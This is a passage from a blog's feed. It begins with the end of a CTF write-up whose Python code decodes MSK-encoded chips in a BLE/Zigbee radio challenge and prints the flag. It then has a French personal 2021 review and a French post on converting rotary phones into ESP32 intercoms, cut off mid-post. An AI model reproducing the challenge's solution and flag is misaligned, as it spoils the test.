        &lt;span class="s1"&gt;&amp;#39;0011111100010000101000110010011&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;0001&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s1"&gt;&amp;#39;0110001111110001000010100011001&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;1001&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s1"&gt;&amp;#39;1010011000111111000100001010001&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;0101&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s1"&gt;&amp;#39;1011001001100011111100010000101&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;1101&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s1"&gt;&amp;#39;0010001100100110001111110001000&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;0011&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s1"&gt;&amp;#39;1000101000110010011000111111000&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;1011&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s1"&gt;&amp;#39;0001000010100011001001100011111&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;0111&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s1"&gt;&amp;#39;1111000100001010001100100110001&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;1111&amp;#39;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;msk_to_chip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;seq&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;seq&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;msk_to_block&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;msk_to_block&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;seq&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;byte_to_bits&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;bin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rjust&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;0&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)[::&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="c1"&gt;# generate out&lt;/span&gt;
&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;1b&amp;#39;&lt;/span&gt;
&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;03&amp;#39;&lt;/span&gt;
&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;3a&amp;#39;&lt;/span&gt;
&lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;f7&amp;#39;&lt;/span&gt;
&lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;70afb33965fc08453b9b03773970af3303f73a1b70afb339fc08c564f73a9b03&amp;#39;&lt;/span&gt; \
    &lt;span class="s1"&gt;&amp;#39;03f73a1bb239702f70afb33970afb33908c5647cf73a9b034dc68f5070afb339&amp;#39;&lt;/span&gt; \
    &lt;span class="s1"&gt;&amp;#39;c68f504cb239702f514cc60fb239702f4dc68f50f73a9b0303f73a1b70afb339&amp;#39;&lt;/span&gt; \
    &lt;span class="s1"&gt;&amp;#39;c464fc08aeb33970b239702ff73a9b03f73a9b0370afb33965fc0845aeb33970&amp;#39;&lt;/span&gt; \
    &lt;span class="s1"&gt;&amp;#39;464fc0870afb33970afb33970afb339aeb33970aeb33970514cc60f70afb3390&amp;#39;&lt;/span&gt;
    &lt;span class="s1"&gt;&amp;#39;3f73a1bc68f504c70afb3393970af33&amp;#39;&lt;/span&gt;
&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;
    &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;

&lt;span class="c1"&gt;# Payload is dewhitened before sending, because it will be whitened&lt;/span&gt;
&lt;span class="n"&gt;again&lt;/span&gt; &lt;span class="n"&gt;when&lt;/span&gt; &lt;span class="n"&gt;sent&lt;/span&gt; &lt;span class="n"&gt;by&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;BLE&lt;/span&gt; &lt;span class="n"&gt;chip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;
&lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytearray&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fromhex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Convert payload into bits&lt;/span&gt;
&lt;span class="n"&gt;data_bits&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;data_bits&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;byte_to_bits&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Split by blocks of 31 bits (MSK-encoded PN sequences)&lt;/span&gt;
&lt;span class="c1"&gt;# and convert to corresponding 4-bit chip&lt;/span&gt;
&lt;span class="n"&gt;chips&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;data_bits&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data_bits&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;))]&lt;/span&gt;
&lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;msk_to_chip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;chip&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;chip&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;chips&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This small script produces the following output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;00000000000000000000000000000000
11100101001010000000111000010110
00001100111011100111011011011110
10011100101111001101011000001110
00111010110001100110111001011010
00111110111011101010101010111110
0000100111101000
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;A little bit more of Python to convert this into bytes:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;# Group output by 8 bits and rebuild data&lt;/span&gt;
&lt;span class="n"&gt;nbytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;8.&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;output_bytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)][::&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nbytes&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;output_bytes&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;And this displays the following text (the first null bytes are omitted): &lt;cite&gt;§ph0wn{9=kpcvZ|wU}&lt;/cite&gt;. These bytes
may correspond to a Zigbee beacon, but we don't need to decode it as the flag is clearly readable.&lt;/p&gt;
&lt;/div&gt;
</content><category term="Geekeries"/><category term="ctf"/><category term="bluetooth"/><category term="zigbee"/></entry><entry><title>2022.</title><link href="https://virtualabs.fr/humeur/2022" rel="alternate"/><published>2022-01-23T22:30:00+01:00</published><updated>2022-01-23T22:30:00+01:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2022-01-23:/humeur/2022</id><summary type="html">&lt;p&gt;Je m'étais promis d'écrire plus souvent sur ce blog en 2021, et en fin de compte je n'ai publié
qu'un seul billet durant cette année. Peut-être que 2021 n'aura pas été l'année attendue, celle
durant laquelle on pensait que tout allait s'arranger, que la situation sanitaire s'améliorerait
et que l'on …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Je m'étais promis d'écrire plus souvent sur ce blog en 2021, et en fin de compte je n'ai publié
qu'un seul billet durant cette année. Peut-être que 2021 n'aura pas été l'année attendue, celle
durant laquelle on pensait que tout allait s'arranger, que la situation sanitaire s'améliorerait
et que l'on pourrait mettre cela de côté et reprendre une vie normale. Mais non.&lt;/p&gt;
&lt;div class="section" id="une-annee-differente"&gt;
&lt;h2&gt;Une année différente&lt;/h2&gt;
&lt;p&gt;2021 a été l'occasion de changer de boulot, d'organisation familiale, d'organisation personnelle.
Je travaille désormais 80% du temps à la maison (un peu plus ces derniers temps), et m'occupe des
enfants et des animaux de la maison, ce que je n'avais pas le temps de faire auparavant. Idem
pour les activités extra-scolaires, les courses, les tâches ménagères (même si ma moitié dira que
j'exagère et que je n'en fait pas tant que ça). Ce n'est pas pour me déplaire, loin de là, mais
ça fait du changement.&lt;/p&gt;
&lt;p&gt;L'arrivée d'une petite chienne dans la famille en août a ajouté un peu de piment mais nous avons
désormais notre petite routine journalière, elle et moi, en plus de celle établie avec le chat de
la maison (qui voit d'ailleurs ce chamboulement d'un mauvais oeil). Cela fait des journées assez
remplies, mais au final plus satisfaisantes car je peux profiter des minis-moi plus qu'avant, tout
en ayant moins de trajet pour le boulot.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="conferences-et-twitch"&gt;
&lt;h2&gt;Conférences et Twitch&lt;/h2&gt;
&lt;p&gt;La plupart des évènements cybersécurité de 2021 ont été annulés, reportés, ou transformés en
évènements en ligne. Je parlais déjà en 2020 de mon ressenti sur les talks donnés à distance
pour des conférences virtuelles, et 2021 a du coup été une année assez pauvre en talks. Les
copains de &lt;a class="reference external" href="https://www.unlockyourbrain.bzh/"&gt;Unlock Your Brain Harden Your System&lt;/a&gt; ont quand
même réussi à organiser leur évènement courant novembre, et je dois avouer que ça a fait un bien
fou de retrouver une scène, les potos speakers (coucou MaliciaRogue, Nono, Patrice) et d'avoir un vrai retour de vrais gens! Evènement
qui était franchement top, encore bravo aux orgas =).&lt;/p&gt;
&lt;p&gt;En parallèle, l'aventure Twitch continue et le rythme de deux streams par semaine en soirée (voire
même la nuit) me convient. J'ai ainsi pu boucler plusieurs projets, dont celui des interphones WiFi
et le hack d'un routeur WiFi, mais aussi tenter d'améliorer le setup pour être plus à l'aise et
faciliter les différentes manipulations. Papa Noël a quant à lui apporté aussi du matériel
plus que bienvenu, comme un contrôleur MIDI qui a vocation à devenir mon streamdeck principal
et un support d'écran qui permet de libérer de la place sur le bureau (et c'était plus que
nécessaire).&lt;/p&gt;
&lt;p&gt;Je me rends compte que je n'ai pas correctement documenté les projets réalisés courant 2021, que
j'ai encore une liste d'idées de trucs à faire longue comme le bras et que je m'organise toujours
comme un sac.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="bref"&gt;
&lt;h2&gt;Bref&lt;/h2&gt;
&lt;p&gt;Les bonnes résolutions de 2022 (qui seront difficilement tenues, mais faut essayer):&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;prendre le temps de documenter les projets terminés ;&lt;/li&gt;
&lt;li&gt;ne pas démarrer 40 projets en parallèle ;&lt;/li&gt;
&lt;li&gt;arriver à participer à plus d'events IRL (si ça reprend un jour) ;&lt;/li&gt;
&lt;li&gt;streamer plus sereinement ;&lt;/li&gt;
&lt;li&gt;rédiger plus de billets de blog (en restant positif et constructif) ;&lt;/li&gt;
&lt;li&gt;tenter de tenir au moins 2 résolutions.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Sur ce, bonnee année 2022 à tous (avec un peu de retard) !&lt;/p&gt;
&lt;/div&gt;
</content><category term="Humeur"/><category term="mindset"/><category term="humeur"/></entry><entry><title>Interphones sans-fil, comment que ça n'avance pas</title><link href="https://virtualabs.fr/projets/interphones-wireless" rel="alternate"/><published>2021-02-05T23:00:00+01:00</published><updated>2021-02-05T23:00:00+01:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2021-02-05:/projets/interphones-wireless</id><summary type="html">&lt;p&gt;L'année 2021 démarre plutôt bien, et j'ai profité des premiers lives Twitch de l'année pour continuer la bidouille de minitels
mais aussi pour tenter de convertir deux anciens téléphones à cadrans rotatifs en interphones sans-fil. Tandis que la modification
des minitels suit son cours (je viens tout juste de souder …&lt;/p&gt;</summary><content type="html">&lt;p&gt;L'année 2021 démarre plutôt bien, et j'ai profité des premiers lives Twitch de l'année pour continuer la bidouille de minitels
mais aussi pour tenter de convertir deux anciens téléphones à cadrans rotatifs en interphones sans-fil. Tandis que la modification
des minitels suit son cours (je viens tout juste de souder le connecteur du clavier du Minitel), la conversion des vieux
téléphones en interphones sans-fil se révèle plus problématique que prévu. Petit point rapide dans ce billet des soucis rencontrés,
des solutions testées, et de l'avenir de ce projet.&lt;/p&gt;
&lt;div class="section" id="des-interphones-sans-fil"&gt;
&lt;h2&gt;Des interphones sans-fil ?&lt;/h2&gt;
&lt;p&gt;Revenons deux minutes à l'origine de ce projet. On trainait en famille dans un vide-grenier (oui, à l'époque où c'était encore possible)
et je suis tombé sur un de ces vieux téléphones à cadran rotatif, ce même type de téléphone que j'utilisais tout petit pour appeler mes
grands-parents. Il faut avouer que composer le numéro à 8 chiffres -- dans cet ancien temps la numérotation n'était pas encore à 10 chiffres --
était vraiment amusant: on plaçait le doigt dans le numéro souhaité, puis on faisait tourner le cadran jusqu'en butée, et ce dernier revenait
en position initiale en faisant un petit bruit de crécelle. Tout nostalgique que j'étais, j'en ai acheté deux exemplaires pour moins de 10€,
avec en tête l'idée de les réhabiliter à la maison.&lt;/p&gt;
&lt;p&gt;Dans un premier temps, on souhaitait s'en servir comme second téléphone fixe, mais il s'est avéré que la méthode de génération du numéro
composé n'est plus supportée par les réseaux téléphoniques d'aujourd'hui. Le système de numérotation par impulsion de l'ancien temps ne
peut donc fonctionner, et il est donc impossible de passer des appels avec ce type de téléphone. Du coup, pourquoi ne pas les transformer
en interphones sans-fil ? Tant qu'à faire, autant intégrer de la modernitude dans ces vieilleries ! Et c'est d'un pratique pour appeler
les enfants qui jouent dans la mezzanine pour leur demander de mettre le couvert, pardi 😇.&lt;/p&gt;
&lt;img alt="Exemple d'usage" src="/images/2021-02-interphones/usecase.png" /&gt;
&lt;/div&gt;
&lt;div class="section" id="premiers-essais-premiers-echecs"&gt;
&lt;h2&gt;Premiers essais, premiers échecs&lt;/h2&gt;
&lt;p&gt;Tout excité à l'idée de réaliser ce projet (on était en 2020 à ce moment là), je teste dans un premier temps si les micros et les hauts-parleurs
des téléphones fonctionnent, ce qui est le cas. Puis je connecte un micro à une entrée analogique d'un arduino Nano, et je code un petit programme
qui échantillonne le signal en provenance du micro (amplifié avec un module lm386, histoire d'avoir un niveau de signal suffisant) et le retransmet
sur le haut-parleur, lui aussi couplé à un module d'amplification similaire. Et miracle, ça fonctionne ! Bon d'accord, le son est pourri, mais
ça fonctionne !&lt;/p&gt;
&lt;p&gt;La voix humaine varie entre 40 et 1500 Hertz (d'après &lt;a class="reference external" href="http://www.musimem.com/voix-humaine.htm/"&gt;Musimem&lt;/a&gt;), et l'arduino Nano que j'utilisais, cadencé à 16 MHz,
ne peut pas échantillonner plus vite que 615 384 échantillons à la seconde, ou plus simplement 615 kHz. C'est plutôt pas mal, mais la résolution sonore est
limitée car le convertisseur analogique/numérique (ou ADC) ne produit des valeurs que sur 8 bits au vu de la vitesse d'échantillonnage requise. Ceci
dit, le résultat n'était pas trop mal !&lt;/p&gt;
&lt;p&gt;Le souci avec un système de communication bi-directionnelle comme un interphone, c'est qu'il faut gérer &lt;em&gt;en même temps&lt;/em&gt; la conversion du signal audio
en provenance du micro en échantillons numériques, l'envoi de ces échantillons, mais aussi la conversion des échantillons numériques reçus en signal analogique
à destination du haut-parleur. Ca veut donc dire faire plein d'autres choses que de l'échantillonnage de la voix, ce qui réduit la vitesse d'échantillonnage
effective.&lt;/p&gt;
&lt;p&gt;Avec ce premier test réussi, j'ai tenté l'implémentation d'un projet existant (&lt;a class="reference external" href="https://circuitdigest.com/microcontroller-projects/arduino-walkie-talkie-using-nrf24l01"&gt;Long Range Arduino Based Walkie Talkie using nRF24L01 [EN]&lt;/a&gt;) visant à transmettre de la voix sur du 2.4 GHz,
mais sans succès. Comme je m'y attendais, l'arduino voit sa vitesse d'échantillonnage réduite et la piètre résolution du convertisseur analogique/numérique n'arrange
pas la qualité sonore. En cherchant un peu plus, je me rends alors compte que je ne suis pas le seul qui s'est cassé la tête sur ce type d'usage,
comme le démontre &lt;a class="reference external" href="https://hackaday.com/2019/07/28/fail-of-the-week-the-arduino-walkie-that-wont-talkie/"&gt;le retour d'expérience de GreatScott!! sur Hacakday [EN]&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Il va falloir tester autre chose.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="esp32-a-la-rescousse-ou-pas"&gt;
&lt;h2&gt;ESP32 à la rescousse (ou pas)&lt;/h2&gt;
&lt;p&gt;Vu que pas mal de mes connaissances m'ont parlé en bien des systèmes produits par Espressif et notamment la plateforme ESP32, je me suis demandé s'il était
possible que ces derniers fassent l'affaire. J'ai pu expérimenter le développement sur ESP32 avec mon projet de smartwatch programmable (la vénérable T-Watch 2020 v1 de Lilygo),
et je dois avouer que ça m'a bien bluffé. Je décidais donc de donner sa chance à l'ESP32, et commandais un ESP32 NodeMCU sur Amazon pour prototyper tout ça.&lt;/p&gt;
&lt;img alt="Prototypage des interphones lors du live Twitch" src="/images/2021-02-interphones/interphones.jpg" /&gt;
&lt;p&gt;C'est à ce moment là (donc début 2021, si vous suivez) que j'ai commencé à prototyper sur ESP32 lors de lives sur Twitch, et les premiers résultats ont
été assez satisfaisants. J'ai réussi à échantillonner le son du micro et à l'envoyer sur le haut-parleur, mais la qualité était juste horrible. Ceci dit, c'était
encore acceptable. C'est quand j'ai commencé à interfacer l'ESP32 à un service accessible en WiFi que les choses se sont gâtées. L'envoi du son sur le service distant
fonctionnait, mais d'une part la qualité n'était pas merveilleuse du tout, mais de la donnée était perdue et il y avait un décalage énorme (entre 5 à 10 secondes)
entre l'échantillonnage par l'ESP32 et la transmission via WiFi.&lt;/p&gt;
&lt;p&gt;Alors oui, l'ESP32 ça fonctionne bien, mais il a beaucoup de mal à réaliser en même temps la conversion du signal audio en échantillons numériques et la transmission
de ces derniers. Et encore, c'était sans intégrer la convesion numérique/analogique pour la restitution du son sur le haut-parleur. Bref, ça devenait mal engagé. Certes
l'ESP32 NodeMCU ne coûte pas bien cher, mais il souffre de plusieurs défauts.&lt;/p&gt;
&lt;p&gt;Le premier défaut concerne la conversion numérique/analogique (DAC): la résolution du DAC interne de l'ESP32 est de 8 bits, on ne peut donc coder que des valeurs
de 0 à 256, qui constitueront autant de &amp;quot;paliers&amp;quot; dans la tension de sortie et donc une imprécision dans le signal audio restitué. Surtout que la conversion analogique/numérique
(ADC) ne souffre pas de cette limitation, la résolution étant de 12 bits. La réduction de 12 bits à 8 bits altère le son de manière significative, et impacte de
fait la qualité de la communication. Le second défaut concerne l'électronique du NodeMCU: l'entrée analogique est parasitée par une alimentation du circuit un peu
mal fichue, et par l'absence de quelques composants permettant de filtrer l'audio entrant. C'est aussi ce qui ressort &lt;a class="reference external" href="https://www.youtube.com/watch?v=pPh3_ciEmzs"&gt;des tests qu'a effectué atomic14 dans sa vidéo
youtube [EN]&lt;/a&gt;: le son est parasité, la qualité sonore très dégradée, et sans prendre en compte la transmission via le réseau !&lt;/p&gt;
&lt;p&gt;Encore un fail, mais bon ça m'aura permis de bien prendre en main le dev sur ESP32.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="alors-comment-faire"&gt;
&lt;h2&gt;Alors, comment faire ?&lt;/h2&gt;
